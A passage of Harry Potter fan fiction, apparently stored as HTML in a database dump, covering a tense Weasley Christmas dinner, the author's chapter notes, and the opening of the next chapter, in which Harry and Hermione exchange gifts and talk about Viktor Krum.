Winky.</p>\n\n<p>Mrs. Weasley came over and looked at Winky.</p>\n\n<p>&#8220;Hermione is right,&#8221; she snapped.&nbsp; &#8220;I didn&#8217;t realize you hadn&#8217;t set a place for yourself.&nbsp; You will be joining us at the table or it just wouldn&#8217;t be Christmas.&#8221;</p>\n\n<p>Mrs. Weasley then raised her wand and extended one of the two tables.&nbsp; She found another chair and then directed her wand to move the place setting from the kitchen to fly towards the dining room.</p>\n\n<p>Percy and Penelope were standing near the fireplace mantel and whispering to one another.&nbsp;&nbsp; Percy nodded and then loudly cleared his throat.</p>\n\n<p>&#8220;Everyone, we have an announcement to make.&nbsp; I was planning on waiting until after dinner, but Penelope has convinced me that we shouldn&#8217;t wait any longer.&nbsp; We wanted everyone to know that we are engaged to be married!&#8221;</p>\n\n<p>Mrs. Weasley instantly broke out in tears and she ran to hug both of them.&nbsp; </p>\n\n<p>&#8220;Oh Percy, Penny!&nbsp; I am so happy for you two!&nbsp; Do you have a date set?&#8221;</p>\n\n<p>&#8220;Not yet, Mrs. Weasley.&nbsp; We&#8217;re looking at about a year and a half from now.&nbsp; I know that it takes at least a year to get everything planned just right.&nbsp; And I&#8217;ve always wanted a June wedding,&#8221; Penelope answered.</p>\n\n<p>&#8220;Enough with Mrs. Weasley.&nbsp; You shall call me &#8216;Mum&#8217; from now on!&#8221;</p>\n\n<p>Percy and Penelope were soon surrounded by the rest of the Weasley family hugging them as well as Harry and Hermione who offered their congratulations.</p>\n\n<p>Ron whispered into Harry&#8217;s ear, &#8220;Thank you Percy!&nbsp; Otherwise we&#8217;d have had Mum in a foul mood all night.&#8221;</p>\n\n<p>It only took a few minutes for all the food to be brought to the table and soon everyone was seated awaiting Mr. Weasley&#8217;s prayer.&nbsp; </p>\n\n<p>&#8220;Dear Lord, we want to thank you for all your blessings upon this family.&nbsp; Thank you for the food before us that was prepared by loving hands. &nbsp;Thank you for bringing us all together at this joyous time.&nbsp; We ask that you bless our son Percy and his bride-to-be Penny with a long, happy and fruitful marriage.&nbsp; We also ask that you look over each and every one of our family and our guests to guard them safely in this world.&nbsp; Amen.&#8221;</p>\n\n<p>&#8220;Amen.&#8221;</p>\n\n<p>&#8220;Let&#8217;s dig in,&#8221; Fred announced.</p>\n\n<p>Harry was glad to be sitting at &#8216;the kids table.&#8217;&nbsp; It was far more pleasurable to sit with Fred, George, Ron, Ginny, Hermione and Winky.&nbsp; Over the noisy clanking of utensils and food being passed he could hear Mrs. Weasley already discussing wedding plans with Penelope.&nbsp; He was glad not to be a part of that discussion.&nbsp; The number of bridesmaids and the colour of taffeta dresses were topics of conversation that he simply couldn&#8217;t stomach.</p>\n\n<p>After a few minutes Charlie took his knife and clanged on his glass. </p>\n\n<p>&#8220;I&#8217;d like to propose a toast,&#8221; he said as he stood.&nbsp; &#8220;To my little brother Percy, may he and Penelope make Mum and Dad grandparents many times over.&nbsp;&nbsp; Maybe then Mum will get off Bill&#8217;s and my back for not finding any girls to marry!&#8221; </p>\n\n<p>&#8220;I&#8217;ll drink to that!&#8221; said Bill raising his glass.</p>\n\n<p>&#8220;Charlie!&nbsp; I don&#8217;t know about you sometimes,&#8221; Mrs. Weasley chuckled as she shook her head.</p>\n\n<p>&#8220;Cheers,&#8221; as the room filled with the sound of glasses clinking together.</p>\n\n<p>&#8220;Penny, when you were upstairs my little brother Ron did a reading for me.&nbsp; He not only predicted that we&#8217;d be married with children, but he saw me in an office alone.&nbsp; Do you know what that means?&nbsp; The only one with a private office is the Minister himself!&nbsp; Someday, <i>I will</i>\n\n<i>be the Minister of Magic</i>,&#8221; Percy said proudly.</p>\n\n<p>Harry looked at Ron whose face darkened.</p>\n\n<p>&#8220;That&#8217;s not exactly what I saw,&#8221; he muttered under his breath.</p>\n\n<p>&#8220;So Percy, has there been any progress in tracking down the Azkaban fugitives?&#8221; Bill asked while passing the mashed potatoes.</p>\n\n<p>&#8220;No, we&#8217;ve got some agents from MLES working on the case, but frankly I agree with Minister Fudge.&nbsp; I think that all the prisoners are dead.&nbsp; Except of course for Sirius Black who continues to elude us.&#8221;</p>\n\n<p>Harry exchanged nervous looks with Ron and Hermione.</p>\n\n<p>&#8220;I don&#8217;t understand why <i>The</i>\n\n<i>Daily Prophet</i> continues to write about Azkaban,&#8221; continued Percy.&nbsp; &#8220;It&#8217;s yesterday&#8217;s news.&nbsp; The dementors just killed some vermin scum.&nbsp; What&#8217;s the big deal?&#8221;</p>\n\n<p>&#8220;The Big Deal,&#8221; replied Mr. Weasley in an even tone, &#8220;is that the Dark Lord&#8217;s most dangerous supporters are now back freely throughout the Wizarding and Muggle worlds.&nbsp; As well as the very real possibility that some of the most dangerous Death Eaters are back at his side plotting a new war against us.&#8221;</p>\n\n<p>&#8220;Dad,&#8221; said Percy rolling his eyes, &#8220;Minister Fudge says that &#8211; &#8221;</p>\n\n<p>&#8220;Edward Percival Weasley!&#8221; Mrs. Weasley snapped.&nbsp; &#8220;You know very well that you and your father have differing views on this matter.&nbsp; I would appreciate it if my son who has been at the Ministry for a mere year and a half would show a little respect for his father who has been there for over thirty years!&nbsp; I think your father has enough experience to allow himself to have a different opinion from the person who currently holds the office of Minister of Magic.&nbsp; I&#8217;ve lived through many ministers in my life and let me tell you, Cornelius Fudge is NOT GOD!&#8221;</p>\n\n<p>After that the only sound to be heard were people chewing and cutting their meat.&nbsp; The rest of the meal was observed in silence.&nbsp; Penelope excused herself before dessert was served, claiming she had promised to help her mother cook that night and needed to get home.&nbsp; Her voice cracked when she spoke and her eyes were filled with tears.&nbsp; Percy made some hasty apologies for her and accompanied her home.</p>\n\n<p>Harry looked at his watch and saw that it was only <st1:time minute="0" hour="19">7 pm</st1:time>.&nbsp; Another hour to go.&nbsp; Another long hour to be spent in silence.&nbsp; Harry sighed.&nbsp; The dishes had all been brought into the kitchen and were being cleaned by magic.&nbsp; Ron nudged Harry and pointed towards the stairs.&nbsp; They both escaped to the quiet of Ron&#8217;s bedroom.</p>\n\n<p>&#8220;Kill me now!&#8221; Ron pleaded as he threw himself backward on his bed.&nbsp; &#8220;I swear Harry, I am so sorry you had to see that.&nbsp; I told you that last summer they were arguing every day.&nbsp; But tonight took the cake!&#8221;</p>\n\n<p>&#8220;Ron, why did your mum call your brother Edward?&#8221;</p>\n\n<p>&#8220;That&#8217;s his first name.&nbsp; My dad wanted to name him Edward, but Mum always favoured Percy so that what we&#8217;ve always called him.&nbsp; I&#8217;ve only heard her call him Edward Percival twice before this.&nbsp; So that means she was really angry.&#8221;</p>\n\n<p>Harry stood at the window and looked outside.&nbsp; He saw the shadow of a large black dog under one of the trees in their side yard.&nbsp; Sirius is here, he thought.&nbsp; That&#8217;s fitting that he&#8217;s Professor Figg&#8217;s partner.&nbsp; </p>\n\n<p>Then voices were heard downstairs.&nbsp; Percy had returned.&nbsp; He and Mr. Weasley were talking in agitated tones.&nbsp; They soon walked upstairs and went into Percy&#8217;s bedroom.&nbsp; </p>\n\n<p>&#8220;Oh, no!&#8221; Ron wailed.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221;</p>\n\n<p>&#8220;We&#8217;ll be able to hear everything.&nbsp; They go into Percy&#8217;s room, but they never put a charm on.&nbsp; They yell and their voices carry up the ventilation system to this room.&nbsp; It&#8217;s as if they were standing next to you.&#8221;</p>\n\n<p>Sure enough, Mr. Weasley&#8217;s voice was soon heard with no difficulty.</p>\n\n<p>&#8220;Has anyone approached you regarding joining with You-Know-Who?&#8221;</p>\n\n<p>&#8220;Dad?&nbsp; Are you nutters?&nbsp; I can&#8217;t believe you actually think he&#8217;s risen.&nbsp; Minister Fudge says that &#8211;&#8221;</p>\n\n<p>&#8220;Percy, he <i>has</i> risen and the sooner you grasp that reality the better off you&#8217;ll be.&nbsp; Everything points to that as the truth and Fudge&#8217;s denial of the facts doesn&#8217;t change things.&#8221;</p>\n\n<p>&#8220;There&#8217;s no evidence of that.&#8221;</p>\n\n<p>&#8220;Do you mean that you don&#8217;t believe Harry?&nbsp; Do I need to remind you that he saved your sister&#8217;s life?&nbsp; And that your bride-to-be was almost killed by a basilisk?&nbsp; The one that Harry killed.&nbsp; Or don&#8217;t you believe Ginny and Ron either?&#8221;</p>\n\n<p>Mumble, mumble, mumble.&nbsp; </p>\n\n<p>&#8220;Dad, you&#8217;re hurting the Ministry.&nbsp; I hate to say that, but it&#8217;s true.&#8221;</p>\n\n<p>&#8220;You don&#8217;t know the first thing about the Ministry.&nbsp; You think that if you blindly support the current minister that you are helping the Wizarding World at large.&nbsp; Well, I&#8217;ve lived through enough ministers to know that some are better than others and, let me tell you, Fudge is damned incompetent!&nbsp; He is either getting orders directly from You-Know-Who or by Fudge&#8217;s sheer incompetence he happens to do everything in a manner that would actually assist the Death Eaters.&#8221;</p>\n\n<p>&#8220;You don&#8217;t know what you&#8217;re talking about.&nbsp; All you know is about Muggles and their gadgets and &#8211;&#8221;</p>\n\n<p>&#8220;I know a lot more about this than you realize.&nbsp; Keep going on the path you&#8217;re headed on and your blind ambition will be your downfall.&nbsp; You&#8217;ll either be an unwitting pawn or they&#8217;ll seduce you with promises of power.&nbsp; I don&#8217;t know if you have the Gryffindor courage necessary to reject power if it was offered to you with Death Eater strings attached.&#8221;</p>\n\n<p>&#8220;Dad, there was just a few scattered incidents regarding Muggle baiting by Death Eaters.&nbsp;&nbsp; The Quidditch World Cup had its share &#8211;&#8221;</p>\n\n<p>&#8220;Percy, will you tell me if anyone approaches you?&nbsp; I need to know.&nbsp; I can&#8217;t protect you if you won&#8217;t let me help.&#8221;</p>\n\n<p>&#8220;You want to <i>help me</i> Dad?&nbsp; That&#8217;s rich, because right now I&#8217;m trying my best to cover for you at work.&nbsp; I&#8217;m busy making excuses for you, so you don&#8217;t get fired!&nbsp; You don&#8217;t understand how your opposition to Fudge is &#8211;&#8221;</p>\n\n<p>&#8220;Percy, I hate to say this, but you need to move out.&nbsp; At the first of the year, I want you to start looking for a flat to move into.&nbsp; You cannot stay here any longer.&nbsp; I will not tolerate such insolence from family members.&nbsp; We may disagree on politics, but this isn&#8217;t simple politics Percy.&nbsp; This is war.&nbsp; You are too young to remember how bad things were before You-Know-Who fell.&nbsp; I am not about to sit idly by and allow that Reign of Terror to come back without actively resisting it.&nbsp; I cannot worry that something I say in my own house might come back to haunt me.&nbsp; Either by my own flesh and blood letting something accidentally slip in front of your boss or worse, if you were to deliberately give him information to help your own career advancement.&nbsp; I worry about you Percy, but right now I have to worry about the safety of all of my children.&nbsp; That&#8217;s why you must move out.&#8221;</p>\n\n<p>Harry looked at Ron.&nbsp; His face was bloodless.</p>\n\n<p>&#8220;I never thought I&#8217;d hear my dad kick Percy out,&#8221; he whispered.</p>\n\n<p>A dog started barking outside.&nbsp; A few minutes later the doorbell rang.&nbsp; Harry got a bad feeling about this and started downstairs with Ron following him.&nbsp;&nbsp; Professor Figg was at the door.</p>\n\n<p>&#8220;I&#8217;m sorry, but Harry and Hermione must leave immediately.&#8221;</p>\n\n<p>&#8220;Is there anything outside?&#8221; Mrs. Weasley asked nervously.</p>\n\n<p>&#8220;Not here, but there has been some Death Eater activity elsewhere tonight.&nbsp; It is not safe for them outside of Hogwarts.&#8221;</p>\n\n<p>Harry and Hermione grabbed their cloaks, gave their goodbye hugs to everyone and thanked the Weasleys for inviting them and left by Floo powder.</p>\n\n<p>Professor Figg met them inside the back room of the Three Broomsticks and handed them the Invisibility Cloak to hide under.&nbsp; They walked in silence back to the castle leaving Harry and Hermione to quietly contemplate the family milieu that they had just witnessed.</p>\n\n<p>As they approached the portrait hole at Gryffindor tower, Professor Figg announced that she needed to speak with Harry alone.&nbsp; Hermione went in alone and then Harry turned to Professor Figg whose face was deadly serious.&nbsp; She stood close to him and whispered in his ear so that the portraits couldn&#8217;t hear.</p>\n\n<p>&#8220;Harry, it was an attack in Little Whinging.&#8221;</p>\n\n<p>&#8220;The Dursleys? Are they okay?&#8221;</p>\n\n<p>&#8220;I&#8217;m sure they&#8217;re fine.&nbsp; Joseph had brought his copy of the parchment map he made and some alarms went off.&nbsp; He saw that the Lestranges were trying to penetrate the Zone.&nbsp; He used his Portkey to return and after telling Dumbledore, I will go there to find out what happened.&nbsp; Both Remus and Mundungus were there providing surveillance tonight, but&#8230;I don&#8217;t know what has happened.&nbsp; I&#8217;ll probably be gone for a few days or so.&nbsp; I might not come back until the holidays are over.&nbsp; It depends on how much damage they did.&nbsp; Try not to worry too much, I&#8217;ll let you know what happened when I return.&#8221;</p>\n\n<p>Harry nodded and gave her a quick hug.</p>\n\n<p>&#8220;Be careful,&#8221; he told her.</p>\n\n<p>&#8220;Always.&#8221;</p>\n\n<p>Harry then turned to the portrait, gave the password (Nil desperandum<b>) </b>and entered.&nbsp; Hermione was sitting on the couch in front of a roaring fire with a very worried look on her face.</p>\n\n<p>&#8220;Well, that was some dinner, wasn&#8217;t it?&#8221; Hermione asked licking her lips.</p>\n\n<p>&#8220;Er, yeah,&#8221; Harry blinked as he sat down next to her.&nbsp; &#8220;I used to really envy Ron.&nbsp; I thought that it was One Big Happy Weasley Family and now I see that&#8230;&#8221;</p>\n\n<p>&#8220;They&#8217;ve got problems, too,&#8221; Hermione finished.&nbsp; &#8220;Harry, it reminded me of going to my grandparents on my dad&#8217;s side of the family.&nbsp; Except we don&#8217;t have any yelling.&nbsp; No, Grandmother Granger gives you the ice cold shower approach.&nbsp; Say something out of bounds and you get drenched in an avalanche of her icy sarcasm.&nbsp; I swear that my mum has to take sedatives before we go over there.&#8221;</p>\n\n<p>Harry stared into the fire.</p>\n\n<p>&#8220;I know that your relatives don&#8217;t treat you very well.&nbsp; You never talk about them, is there anything you want to tell me?&#8221; she asked.</p>\n\n<p>&#8220;Something tonight reminded me of my aunt and uncle.&nbsp; When Penny started referring to our second year when you were both petrified, Mrs. Weasley interrupted everything.&nbsp; Sort of like my Aunt Petunia whose motto was &#8216;don&#8217;t ask questions.&#8217;&nbsp; I never knew anything about my parents, except for a pack of lies.&nbsp; The Dursleys thought if they denied the truth that somehow it would change things.&nbsp; It didn&#8217;t.&nbsp; It made things worse.&#8221;</p>\n\n<p>&#8220;So you never knew&#8230;&#8221;</p>\n\n<p>&#8220;No.&nbsp; I never knew I was a wizard until a month before I came to Hogwarts.&nbsp; I was told that my parents died in a car crash.&nbsp; I never knew anything about what happened, until Hagrid told me.&nbsp; You still probably know more about my history than I do,&#8221; Harry said sadly.</p>\n\n<p>&#8220;I&#8217;m sorry, Harry,&#8221; she sighed heavily.&nbsp; &#8220;I was wondering.&nbsp; Did Professor Figg say where the Death Eater attack was?&#8221;</p>\n\n<p>&#8220;In my hometown.&#8221;</p>\n\n<p>Hermione put her hand over her mouth.&nbsp; &#8220;No!&#8221;</p>\n\n<p>&#8220;I don&#8217;t know much more.&nbsp; She may have to stay there for a few days to investigate.&nbsp; She is a retired Auror, after all.&#8221;</p>\n\n<p>She shook her head sadly, &#8220;It&#8217;s times like this that I wish I brought Crookshanks here instead of Athena.&nbsp; He always seemed to comfort me in times of stress.&#8221;</p>\n\n<p>&#8220;How come you didn&#8217;t bring him this year?&#8221; asked Harry.</p>\n\n<p>&#8220;You can only bring one pet, remember?&nbsp; And I&#8217;m a prefect now, so I really wouldn&#8217;t want to break any rules and set a bad example.&#8221;</p>\n\n<p>&#8220;You didn&#8217;t seem too bothered about breaking rules during our second year when you made a forbidden potion,&#8221; Harry reminded her.</p>\n\n<p>&#8220;That was different, it was a matter of life and death,&#8221; Hermione said defensively.&nbsp; &#8220;For me to try and bring two pets would be trying to seek special favours.&nbsp; That wouldn&#8217;t be looked at highly.&#8221;&nbsp; Then she gave a tremendous yawn.&nbsp; &#8220;I&#8217;m beat.&nbsp; I think I&#8217;ll turn in.&#8221;</p>\n\n<p>&#8220;Tomorrow will be better,&#8221; he said wishfully.</p>\n\n<p>&#8220;I hope so,&#8221; she replied without confidence in her voice.</p>\n\n<p>**</p>\n\n<p>End notes:&nbsp; Part of the inspiration I had for writing this chapter was the hilarious movie, &#8220;Home for the Holidays&#8221; directed by Jody Foster.&nbsp; If you&#8217;ve never seen it, rent it!&nbsp; Otherwise more inspiration came from my mother and my mother-in-law.&nbsp; Ooooh, now that&#8217;s scary.</p>\n\n<p>I&#8217;d like to thank the following people for reviewing my last chapter and all their kind words:&nbsp; AnimeFanatic, Batgirl, E.C.R. Potter, kinicky 21, NAPPA, NIGHTSTALKER, and&nbsp; SamanthaMarie.&nbsp; There were several people that were disturbed by the Lilith/Voldemort pairing.&nbsp; That was the reaction I was seeking, because I am trying to see how great of an emotional range I can elicit from my readers.&nbsp; I do have mercy, so I won&#8217;t be following up on that romantic pairing at all &#8211; so breathe easy there.</p>\n\n<p>The interchange between Snape and Harry was actually inspired by an essay written by Porphyria on HPfGU.&nbsp; She had posited that Snape was playing the role of a Satan in Job.&nbsp; <a href="http://groups.yahoo.com/group/HPforGrownups/files/Essays/job.html">http://groups.yahoo.com/group/HPforGrownups/files/Essays/job.html</a> I thought it an intriguing idea and wanted to see how that kind of interaction might play itself out between the two if they were to speak their minds freely.&nbsp; I had to dial it down a bit from my first draft because my original instinct was to blow through the boundary where Snape would have had a cerebral aneurysm in response to Harry&#8217;s tirade.</p>\n\n<p>AnimeFanatic pointed out that there are certain patterns that fanfic writers use when writing a fifth year story.&nbsp; The sequential order of Quidditch games that was mentioned does happen to be the order that I chose.&nbsp; However, I am hoping that the game with Ravenclaw is unlike any other game you&#8217;ve seen written because I tried hard to come up with a different characterization for Cho.&nbsp; I also want everyone to know that Mrs. Norris does play a significant role in this story.&nbsp; That is one of the three Dark Secrets that I will be revealing.&nbsp; I also think that even if you guess some of my plotline with Mrs. Norris, you won&#8217;t guess it all.&nbsp; That&#8217;s because I made it deliberately very complicated.&nbsp; Ah, but all in due time.</p>\n\n<p>And as for Harry finding the pier?&nbsp; You&#8217;ll see that in the next chapter he begins to see Hermione in a whole new light.&nbsp; Until then&#8230;&nbsp;&nbsp; </p> '),
	(260, 9, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.&nbsp; &quot;Character of the Happy Warrior&quot; by William Wordsworth and &quot;Uncle Tom\'s Cabin&quot; by Harriet Beecher Stowe are both works in the public domain.</p>\n\n<p><b>Author notes:</b> I\'d like to dedicate this chapter to Ama (Bonsai Mountain), a woman who cares deeply about the injustices suffered by house-elves.&nbsp; I hope that my writing in a small way addresses some of her passion for freedom and justice. I\'d also like to once again thank Cara Hicks for beta reading my writing and for making it stronger.</p>\n\n<p>Rating: R - for adult themes and sexual intimacy</p>\n\n<p>Chapter Nine &#8211; Christmas with Viktor</p>\n\n<p>Harry spent the night tossing and turning.&nbsp; Spending a few hours at the Weasley household was something that he had been anxiously anticipating.&nbsp; Now, in retrospect he wished that he had never gone.&nbsp; His image of the Weasley family as being a happy family had been shattered.&nbsp; He now saw that it was a complicated family unit.&nbsp; He also saw parallels to his own relatives.&nbsp; That was something that he had never expected.</p>\n\n<p>Harry sat up on his bed, yawned and stretched his arms.&nbsp; He was trying to wake up even though he was still exhausted.&nbsp; He looked at his watch and saw that it was 7 am.&nbsp; It&#8217;s still early, he thought.&nbsp; This was the perfect time to do a little Animagus practice.&nbsp; By the time he had finished his detentions in Dumbledore&#8217;s office he had been able to successfully assume his animal form and change back to human form with no difficulty.&nbsp; Unfortunately, since then he hadn&#8217;t had much opportunity to practice because he was hardly ever alone and he was afraid of being seen as a snake.</p>\n\n<p>Harry was now alone in his dorm room.&nbsp; It felt like an ideal opportunity for practice and it would also help him to shake the cobwebs out of his head.&nbsp; He lied down on the floor and started to focus his mind on the image of the snake.&nbsp; He closed his eyes and concentrated.&nbsp; Within a minute he made the transformation.&nbsp; He started to make his sinuous movements on the wooden floor when he felt vibrations.&nbsp; Harry slithered back towards the far side of his bed.&nbsp; He saw the door opening and someone walking in.&nbsp; Harry quickly changed back to his human form.&nbsp; </p>\n\n<p>&#8220;Harry?&nbsp; Harry?&nbsp; Where are you?&#8221; asked Hermione anxiously.</p>\n\n<p>&#8220;Er, I&#8217;m here,&#8221; he replied from the floor.</p>\n\n<p>&#8220;Well, Harry.&nbsp; What are you doing down there?&#8221; she asked licking her lips.</p>\n\n<p>&#8220;I, ah, dropped my glasses,&#8221; he said as he stood up.</p>\n\n<p>&#8220;I just came in to wish you a Happy Christmas, Harry.&nbsp; I&#8217;ve been waiting downstairs and was feeling lonely.&nbsp; Come on, let&#8217;s go and open our presents!&#8221;</p>\n\n<p>Harry grabbed his slippers and bathrobe and followed her down to the common room.&nbsp; There was a pile of presents waiting for them.&nbsp; Harry quickly saw that there was the gift from Ron, a lumpy package from Mrs. Weasley that he suspected held his annual jumper, a gift from Hagrid, a strange looking package from Dobby and an unmarked gift that had wrapping paper with dogs on the outside.</p>\n\n<p>&#8220;This is from me Harry,&#8221; she said handing him a box.</p>\n\n<p>He opened it and found that she had given him a camera.&nbsp; </p>\n\n<p>&#8220;I already loaded it with film, so you can use it right away.&nbsp; I didn&#8217;t think you had one,&#8221; she said.</p>\n\n<p>&#8220;No, I didn&#8217;t.&nbsp; Thank you,&#8221; he said smiling.&nbsp; </p>\n\n<p>Inwardly he wondered how Hermione always seemed to get him perfect gifts.&nbsp; As he handed her his gift, he hoped that she&#8217;d like it as well she had the locket.&nbsp; Harry had been happy to see that she wore it every day.</p>\n\n<p>She unwrapped her present and immediately gave him a hug.</p>\n\n<p>&#8220;These are wonderful.&nbsp; Thank you so much.&#8221;</p>\n\n<p>She tried on the pair of cashmere lined leather gloves he had given her, &#8220;They fit perfectly.&#8221;</p>\n\n<p>&#8220;I probably should have given them to you yesterday.&nbsp; Since our walk to Hogsmeade and back was so cold,&#8221; Harry said.</p>\n\n<p>&#8220;Yes, but then it would have spoiled my surprise.&#8221;</p>\n\n<p>&#8220;Oh, and here&#8217;s something more,&#8221; he said handing her another wrapped package.&nbsp; &#8220;They&#8217;re lavender sachets.&nbsp; I helped a neighbour lady this summer harvest her lavender and she made some sachets for me to give away.&#8221;</p>\n\n<p>Hermione held them to her face and inhaled deeply.</p>\n\n<p>&#8220;Oh, they smell heavenly,&#8221; she sighed.</p>\n\n<p>&#8220;The large silky one is meant for you to place over your eyes while you&#8217;re trying to sleep.&nbsp; It&#8217;s supposed to help you relax and bring pleasant dreams.&#8221;</p>\n\n<p>&#8220;Sounds nice,&#8221; she murmured as she smelled them again.</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>Later that afternoon, Harry decided that he should at least try to get some of his homework done that was assigned over the holidays.&nbsp; And since Ron had started his Divination assignment, Harry thought that he should get his started, too.&nbsp; The difficulty was persuading Hermione to let him do a reading for her.</p>\n\n<p>&#8220;Honestly, Harry.&nbsp; I don&#8217;t know why you and Ron are still taking that class.&nbsp; Trelawney&#8217;s such a fraud.&#8221;</p>\n\n<p>&nbsp;&#8220;I know,&#8221; he nodded, &#8220;but it&#8217;s a nice break from all the tougher subjects such as Transfiguration and Potions.&nbsp; It&#8217;s kind of nice to have something I don&#8217;t have to work very hard at in my schedule.&#8221;&nbsp; </p>\n\n<p>Hermione scowled at that.</p>\n\n<p>&#8220;Besides, it&#8217;s a little hard to switch electives this late in the game.&nbsp; If I switched to Arithmancy, I&#8217;ll have missed two years of lessons.&#8221;</p>\n\n<p>Her face softened a little at that, &#8220;Well that is true.&nbsp; You would be dreadfully behind.&#8221;</p>\n\n<p>&#8220;Okay, let me get everything set up,&#8221; Harry said.&nbsp; &#8220;Trelawney gave us all some special tea to help, you know to get our &#8216;vibrations&#8217; going.&#8221;</p>\n\n<p>Harry didn&#8217;t have the same luck with scrying that Ron did.&nbsp; So rather than using a pan of water, he lit some incense instead hoping that would help him.&nbsp; The tea he drank was a special herbal blend of peppermint, mugwort, damiana, chamomile, gotu kola, rosemary, rose petals and a tiny pinch of sweet leaf.&nbsp; It tasted minty yet a tad floral, not the nasty taste he had expected.&nbsp; He thought of Mrs. Weasley&#8217;s aversion to tea reading and inwardly agreed.&nbsp; He consciously refused to look at the soggy lump of leaves at the bottom of the cup when he finished.</p>\n\n<p>&#8220;Please sit on the other side of this table and I&#8217;ll hold your hands and try to allow any visions to come to me.&#8221;</p>\n\n<p>Hermione sat down at the table near the fireplace and rolled her eyes as she extended her hands toward Harry.&nbsp; He started to breathe in the incense, feel the warmth of the fire and started to get the same woozy feeling he would get in the North Tower in Trelawney&#8217;s classroom.&nbsp;&nbsp; He started to feel a bit drowsy and his eyes closed.&nbsp; As he started to fall asleep a vision started to form.</p>\n\n<p>&#8220;I see two shadows before you.&nbsp; You&#8217;re torn between them.&nbsp; One crosses your heart and the other on your head.&nbsp; You&#8217;re struggling inside as to which one to follow.&#8221;</p>\n\n<p>&#8220;Thanks a lot, Harry!&#8221; she spat at him as she wrenched her hands free.&nbsp; &#8220;If you and Ron want to make things up as you go along, that&#8217;s fine.&nbsp; But please don&#8217;t try to pretend you&#8217;re seeing things and say things to me that are hurtful.&#8221;</p>\n\n<p>She stood up and had tears streaming down her face.</p>\n\n<p>&#8220;You know how I hate it that Ron keeps accusing me of all kinds of things with Viktor.&nbsp; I thought you were different from him and that you understood.&nbsp; But no, instead you take this opportunity to say mean things to me because Ron&#8217;s not here and you dress it up as being &#8216;homework.&#8217;&nbsp; Well, I don&#8217;t have to stay here and take this kind of insult from someone I <i>thought</i> was my friend.&#8221;</p>\n\n<p>Harry watched her as she ran up the dormitory stairs to her room.&nbsp; He sat dazed at the table for a few minutes and then he slowly walked up the stairs to the girls&#8217; dormitory.&nbsp; He listened at the door and could hear her sobbing.&nbsp; He knocked softly at the door.</p>\n\n<p>&#8220;Hermione, can I come in?&#8221;</p>\n\n<p>&#8220;Go away!&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry, Hermione.&nbsp; I didn&#8217;t mean to hurt you.&nbsp; I want to talk with you, please can I come in?&#8221;</p>\n\n<p>A small voice croaked, &#8220;Okay.&#8221;</p>\n\n<p>Harry felt a little nervous entering the girls&#8217; dormitory.&nbsp; He had never been there before and felt very out of place.&nbsp; He entered the room and saw that it looked exactly like the boys&#8217; dorms except that their bedside tables had make-up and stuffed animals strewn about them.&nbsp; Hermione was sitting on her bed and didn&#8217;t look at him as he crossed to sit next to her.</p>\n\n<p>&#8220;Hermione, what&#8217;s going on?&nbsp; There&#8217;s more than you being mad at me for giving a vague reading.&nbsp; Come on, you can tell me.&nbsp; We&#8217;ve been through a lot together.&#8221; </p>\n\n<p>&#8220;Oh Harry, I don&#8217;t know what to do about Viktor,&#8221; she looked at him finally with her eyes shining with tears.&nbsp; &#8220;I don&#8217;t even know why he likes me.&nbsp; I mean, does he really like <i>me</i> or is it something else?&nbsp; He was the first guy to show any interest in me and I don&#8217;t even know if it was because of me, if it was because I was the only girl who didn&#8217;t fawn all over him or if&#8230;if it was because of you.&nbsp; And I don&#8217;t know whether or not he&#8217;s trying to get to you through me.&#8221;</p>\n\n<p>&#8220;Hermione,&#8221; he said softly.&nbsp; &#8220;What if&#8230;what if you were going to a Muggle school and none of the worries we have about Dark Magic came into play?&#8221;</p>\n\n<p>She looked at him puzzled.</p>\n\n<p>&#8220;What if some older classmate asked you to a dance you that wanted to go to.&nbsp; A guy you didn&#8217;t know much about, but that you found unattractive.&nbsp; I remember what you said when you first saw a picture of Viktor.&nbsp; You said he looked <i>grumpy</i>.&nbsp; So, if a guy that you weren&#8217;t interested in had asked you out and if he wasn&#8217;t sought after by all the other girls in school because he was a star athlete&#8230;would you have said yes &#8211; just because you wanted to go to a dance?&nbsp; Maybe because you were afraid no one else would ask you?&nbsp; Would you have said yes or no to this guy?&#8221;</p>\n\n<p>She lowered her head, &#8220;I don&#8217;t know.&#8221;</p>\n\n<p>&#8220;How do you feel about Viktor?&#8221; Harry asked quietly.</p>\n\n<p>She shook her head slowly, &#8220;That&#8217;s just it.&nbsp; I don&#8217;t know.&nbsp; I feel like I should like him.&nbsp; After all so many other girls would give anything to have his attention, it&#8217;s just that&#8230;I sort of feel like I&#8217;m forcing myself to be nice to him.&#8221;</p>\n\n<p>&#8220;So you&#8217;re not interested in him?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&nbsp; He&#8217;s been very kind and sweet, so I should happy that a guy is nice to me, but&#8230;but I don&#8217;t know if I&#8217;m being fair to him.&nbsp; He seems to really like me and I just don&#8217;t know if I&#8217;ll ever feel the same way towards him.&nbsp; I don&#8217;t want to hurt his feelings.&#8221;</p>\n\n<p>Harry felt a sick feeling growing in his stomach &#8211; was he <i>ever</i> going to find a girl who didn&#8217;t want to talk to him about another boy?&nbsp; Hermione was telling him a story just like Cho had told him.&nbsp; He was fast becoming every girl&#8217;s best friend to talk to about &#8220;boy problems.&#8221;&nbsp; Would any girl ever think of him as boyfriend material?&nbsp; Or was he just destined to be sought after like Krum was because of his celebrity with no one liking him for himself?&nbsp; </p>\n\n<p>Harry remembered the conversation he had with Ron.&nbsp; </p>\n\n<p>&#8220;He hasn&#8217;t <i>done</i> anything to you has he?&#8221; asked Harry.&nbsp; </p>\n\n<p>&#8220;What do you mean?&#8221;</p>\n\n<p>&#8220;Forced you to umm, you know&#8230;&#8221;</p>\n\n<p>She looked at him blankly for a few moments before it dawned on her what he was getting at.&nbsp; &#8220;No!&#8221;</p>\n\n<p>&#8220;Ron&#8217;s been worried about that.&nbsp; You would tell us if he hurts you in any way.&nbsp; We&#8217;ll protect you, you know that.&#8221;</p>\n\n<p>She nodded with her head downcast.</p>\n\n<p>Harry lifted her chin, &#8220;Hermione, you&#8217;re very special.&nbsp; I&#8217;m lucky to have you in my life and I hate seeing you this way.&nbsp; If you don&#8217;t really like him, you&#8217;re doing yourself and him a disservice.&nbsp; <i>That is</i> if 